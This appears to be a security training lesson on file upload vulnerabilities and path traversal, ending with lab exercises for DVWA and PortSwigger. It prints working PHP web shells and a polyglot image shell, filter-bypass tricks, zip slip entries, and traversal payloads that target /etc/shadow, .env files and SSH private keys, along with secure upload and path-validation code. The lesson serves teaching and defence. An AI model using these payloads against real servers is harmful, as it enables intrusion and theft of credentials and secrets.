File Upload Vulnerabilities & Path Traversal
Exploit insecure file upload features to achieve remote code execution, and use path traversal to read arbitrary server files — plus robust defense strategies.
Learning Objectives
- → Upload a web shell by bypassing extension and MIME type validation
- → Exploit path traversal to read /etc/passwd and configuration files
- → Bypass upload filters: double extension, null byte, magic bytes
- → Understand zip slip and polyglot file attacks
- → Implement secure file upload and path validation
File Upload Vulnerabilities
Basic Web Shell Upload
<!-- shell.php — upload to get code execution -->
<?php system($_GET['cmd']); ?>
<!-- Access: https://target.com/uploads/shell.php?cmd=id -->
<!-- Response: uid=33(www-data) gid=33(www-data) -->
<!-- More powerful shell: -->
<?php echo shell_exec($_REQUEST['cmd']); ?>
<!-- Hidden PHP short tag (some servers): -->
<?= system($_GET['cmd']); ?>
Bypassing Extension Filters
1. Alternative extensions
.php → .php3, .php4, .php5, .phtml, .phar
.asp → .aspx, .asmx
.jsp → .jspx
2. Double extension
shell.php.jpg → server saves as-is, some configs execute PHP
shell.jpg.php → obvious, but try
3. Case manipulation
shell.PHP, shell.Php, shell.pHp
4. Null byte (legacy PHP/C):
shell.php%00.jpg
filename: shell.php\x00.jpg
→ Old PHP truncates at null: saves as shell.php
5. Extra periods/spaces:
shell.php.
shell.php%20
shell. php (Windows may ignore trailing space/dot)
6. Overriding config (if directory listing/upload to root):
Upload .htaccess:
AddType application/x-httpd-php .jpg
Now all .jpg files in that directory execute as PHP!
MIME Type Bypass
# Weak validation: checks Content-Type header only (attacker controls!)
if file.content_type != "image/jpeg":
return "Only JPEG allowed"
# Bypass: intercept upload, change header to image/jpeg
# Upload shell.php but set Content-Type: image/jpeg → accepted
# Better validation: check magic bytes (file signature):
def is_jpeg(data: bytes) -> bool:
return data[:2] == b'ÿØ' # JPEG magic bytes
# Common magic bytes:
# JPEG: FF D8
# PNG: 89 50 4E 47 0D 0A 1A 0A (‰PNG)
# GIF: 47 49 46 38 (GIF8)
# PDF: 25 50 44 46 (%PDF)
# ZIP: 50 4B 03 04 (PK)
# Polyglot bypass: valid image AND valid PHP
# Prepend JPEG header to PHP code:
ÿØÿà<?php system($_GET['cmd']); ?>
# Passes magic byte check but PHP executes the script part!
Race Condition Upload
Some servers:
1. Save file temporarily
2. Check file type
3. Delete if bad, keep if good
Attack:
1. Upload shell.php — server saves it
2. Immediately (race!) GET /uploads/shell.php?cmd=id
3. Before server deletes it, shell executes
Use: turbo intruder (Burp), parallel requests
Zip Slip
# Zip archives can contain path traversal entries:
# Entry name: ../../var/www/html/shell.php
import zipfile
# Vulnerable extraction:
with zipfile.ZipFile("upload.zip") as z:
z.extractall("/uploads/") # extracts ../../var/www/html/shell.php!
# Fix: validate paths before extraction
def safe_extract(zf, path):
for member in zf.namelist():
member_path = os.path.realpath(os.path.join(path, member))
if not member_path.startswith(os.path.realpath(path)):
raise ValueError(f"Zip slip: {member}")
Path Traversal (Directory Traversal)
Basic Traversal
# Vulnerable endpoint:
GET /download?file=report.pdf
→ Server reads: /var/www/files/report.pdf
# Attack:
GET /download?file=../../../etc/passwd
→ Server reads: /var/www/files/../../../etc/passwd → /etc/passwd
GET /download?file=../../etc/shadow (root passwords)
GET /download?file=../../var/www/html/.env (app secrets)
GET /download?file=../../proc/self/environ (environment vars: secrets)
GET /download?file=../../home/user/.ssh/id_rsa (SSH private key)
Traversal Filter Bypass
1. URL encoding:
%2e%2e%2f = ../
%2e%2e/ = ../
..%2f = ../
%252e%252e%252f = double-encoded ../
2. Non-standard paths (Windows):
..\ (backslash)
..%5c (URL-encoded backslash)
3. Null byte (legacy):
../../../etc/passwd%00.jpg
4. Nested traversal (if filter strips ../ once):
....// → after strip: ../
..././ → after strip: ../
5. Absolute path:
/etc/passwd → if server just uses the path directly
6. UNC paths (Windows):
\attacker\share\shell.php
Sensitive Files to Target
Linux:
/etc/passwd (user accounts)
/etc/shadow (hashed passwords — root only)
/etc/hosts (hostfile)
/proc/self/environ (environment variables, secrets)
/proc/self/cmdline (running command)
/var/www/html/.env (application secrets, DB passwords)
/var/www/html/config.php (database credentials)
/home/user/.ssh/id_rsa (SSH private key)
~/.bash_history (command history)
Windows:
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config (ASP.NET connection strings)
C:\Windows\win.ini
Secure File Upload
import os, uuid, imghdr
from werkzeug.utils import secure_filename
ALLOWED_EXTENSIONS = {"jpg", "jpeg", "png", "gif"}
ALLOWED_MAGIC = {b"ÿØ": "jpeg", b"PNG": "png", b"GIF8": "gif"}
UPLOAD_FOLDER = "/var/uploads"
def validate_file(file):
# 1. Check extension (allowlist, not blocklist)
ext = file.filename.rsplit(".", 1)[-1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("Extension not allowed")
# 2. Check magic bytes
header = file.read(8); file.seek(0)
if not any(header.startswith(m) for m in ALLOWED_MAGIC):
raise ValueError("Invalid file type")
# 3. Limit size (before reading)
# 4. Sanitize filename — never use user-provided name directly
safe_name = f"{uuid.uuid4().hex}.{ext}" # random name
# 5. Store outside webroot (not accessible via URL)
path = os.path.join(UPLOAD_FOLDER, safe_name)
file.save(path)
# 6. Serve via API, not directly (or via nginx with noexec)
return safe_name
# Secure path traversal prevention:
def safe_file_path(base_dir: str, user_input: str) -> str:
safe = os.path.realpath(os.path.join(base_dir, user_input))
if not safe.startswith(os.path.realpath(base_dir)):
raise ValueError("Path traversal detected")
return safe
On a file upload challenge (DVWA File Upload or PortSwigger lab): (1) attempt to upload shell.php — observe the error, (2) bypass extension filter with .php5 or .phtml, (3) bypass MIME type check with Burp: change Content-Type to image/jpeg, (4) create a polyglot file: JPEG magic bytes + PHP code, (5) access the uploaded shell and execute commands.
What is a polyglot file attack?
Why should uploaded files be stored outside the webroot?
Test a /download?file= endpoint for path traversal: (1) try ../../../etc/passwd and observe result, (2) try URL-encoded (%2e%2e%2f), (3) try double-encoded (%252e%252e%252f), (4) try nested ....// if simple traversal is filtered, (5) read .env file for secrets, (6) implement the fix: realpath() check and os.path.abspath() validation.
What does os.path.realpath() do and why is it used for traversal prevention?
Build a zip file with a path traversal entry: (1) create a malicious zip with zipinfo names like ../../var/www/html/shell.php, (2) test a vulnerable extraction that uses z.extractall() without validation, (3) verify shell.php is written to the web directory, (4) implement safe_extract() that checks each member path stays within the extraction directory.
What Python function reveals the true absolute path of a zip member?